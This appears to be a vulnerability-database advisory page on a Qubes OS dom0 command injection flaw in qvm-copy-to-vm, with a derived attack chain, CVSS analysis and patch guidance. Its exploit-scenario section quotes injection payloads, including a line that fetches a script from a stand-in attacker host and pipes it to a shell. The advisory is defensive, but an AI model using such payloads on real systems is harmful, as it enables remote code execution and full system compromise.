Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain control of any qube on target system
-
DeliveryWait or socially engineer dom0 user to run qvm-copy-to-vm to attacker's qube
-
ExploitServe crafted file-copy error response containing shell metacharacters
-
Executionqfile-dom0-agent.c passes unsanitized string to system() in dom0 context
-
PersistInjected shell commands execute with dom0 privileges
-
ImpactFull Qubes OS isolation model compromised
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Two conditions must be met simultaneously: (1) the attacker must control a qube on the target Qubes OS installation, achieved either through prior compromise of an existing qube or by the attacker operating any qube (including an untrusted AppVM) on the system; and (2) a dom0 user must run qvm-copy-to-vm with the attacker-controlled qube as the destination target. The CVSS PR:N metric confirms no dom0 privileges are required by the attacker. Exploitation is limited by UI:R - the dom0 user must actively initiate the copy operation - and AC:H, which reflects that the specific dom0-to-attacker-qube copy action must occur. Deployments where dom0 users routinely copy files to untrusted or externally-facing qubes carry substantially higher exposure than hardened deployments that restrict qvm-copy-to-vm to fully trusted qubes only. |
| Impact | The CVSS 7.9 score with Changed Scope and full C/I/A impact accurately reflects the catastrophic consequence of dom0 compromise, yet two structural prerequisites keep real-world exploitation materially harder than the score alone implies: the attacker must already control a qube on the target system (requiring prior foothold or legitimate user status), and a dom0 operator must voluntarily run qvm-copy-to-vm targeting that specific qube (UI:R). The AC:H rating recognizes the combined specificity of these conditions. No EPSS score was supplied in the input, leaving exploitation probability unquantified; the absence of a CISA KEV listing and no reported public POC further suggest this vulnerability is not currently being mass-exploited. Despite these mitigating factors, organizations that depend on Qubes OS isolation guarantees - security-critical deployments used by journalists, researchers, or high-value targets - should treat this as an urgent patching priority, because the Changed Scope metric signals total isolation model collapse: a successful exploit grants dom0-level access to every qube, file, and cryptographic asset managed by that installation. |
| Exploit ScenarioDerived | An attacker who has compromised or legitimately operates an untrusted qube on the target system waits for, or socially engineers, a dom0 user into running qvm-copy-to-vm targeting that qube. The qube's file-copy handler returns a crafted error string containing shell metacharacters such as $(id > /tmp/pwned) or ; curl attacker.com/shell.sh | sh. When qfile-dom0-agent.c in dom0 passes this string to system(), the injected payload executes with dom0 privileges. No public POC has been identified, but the vulnerability class - unsafe use of system() with externally-supplied, unescaped string input - is a well-understood exploitation primitive requiring no exotic technique once the preconditions are satisfied. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
OS command injection in Qubes OS (qubes-core-dom0-linux before 4.3.22) allows an attacker who controls any qube to execute arbitrary commands in dom0 - the privileged hypervisor control domain - when a dom0 operator runs qvm-copy-to-vm targeting that attacker-controlled qube. The root cause (CWE-78) is qfile-dom0-agent.c passing unsanitized, attacker-crafted error messages to the C system() function, where embedded shell metacharacters are interpreted as commands in the dom0 shell context. No public exploit or CISA KEV listing has been identified; however, successful exploitation yields complete Qubes OS compromise because dom0 governs all other virtual machines on the system.
RemediationAI
Upgrade qubes-core-dom0-linux to version 4.3.22 or later per Qubes Security Bulletin QSB-118 (https://www.qubes-os.org/news/2026/08/29/qsb-118/); this is the vendor-confirmed patch. As a compensating control where immediate patching is not feasible, dom0 operators should strictly avoid running qvm-copy-to-vm targeting any qube that is not fully trusted and integrity-verified; restricting this operation eliminates the user-interaction prerequisite (UI:R) that enables exploitation. This workaround requires sustained procedural discipline and does not eliminate the underlying unsafe use of system() - it is a risk-reduction measure only, not a fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Qubes OS is a security-through-isolation operating system in which dom0 is the administrative control domain that manages all other qubes (virtual machines) through the qrexec inter-VM communication framework. The qvm-copy-to-vm utility copies files from dom0 to a designated target qube; the dom0-side logic is implemented in qfile-dom0-agent.c within the qubes-core-dom0-linux package. The vulnerability is a CWE-78 (Improper Neutralization of Special Elements used in an OS Command) defect: the agent calls the POSIX system() function to display or log an error message returned by the target qube without sanitizing shell metacharacters. Because system() invokes /bin/sh -c with the supplied string verbatim, any metacharacters - semicolons, backticks, $() subshells - present in the attacker-crafted error message are executed directly in the dom0 shell with dom0 privileges. The affected CPE is cpe:2.3:a:qubes_os:qubes_os:*:*:*:*:*:*:*:* covering all versions prior to qubes-core-dom0-linux 4.3.22.
Know when Qubes Os gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:A/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Attacker operates via adjacent qrexec channel from a controlled qube (AV:A); dom0 user must initiate copy to attacker's specific qube (AC:H/UI:R); dom0 compromise cascades to all managed qubes, changing scope (S:C) with full impact.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
DescriptionCVE.org
Qubes OS before qubes-core-dom0-linux 4.3.22 allows OS command injection during a qvm-copy-to-vm call from dom0 to an attacker-controlled qube, because the "system" library function is used to process an error message that may have shell metacharacters. This occurs in core-admin-linux/file-copy-vm/qfile-dom0-agent.c.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-68212
GHSA-ppf9-cgjm-478m
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB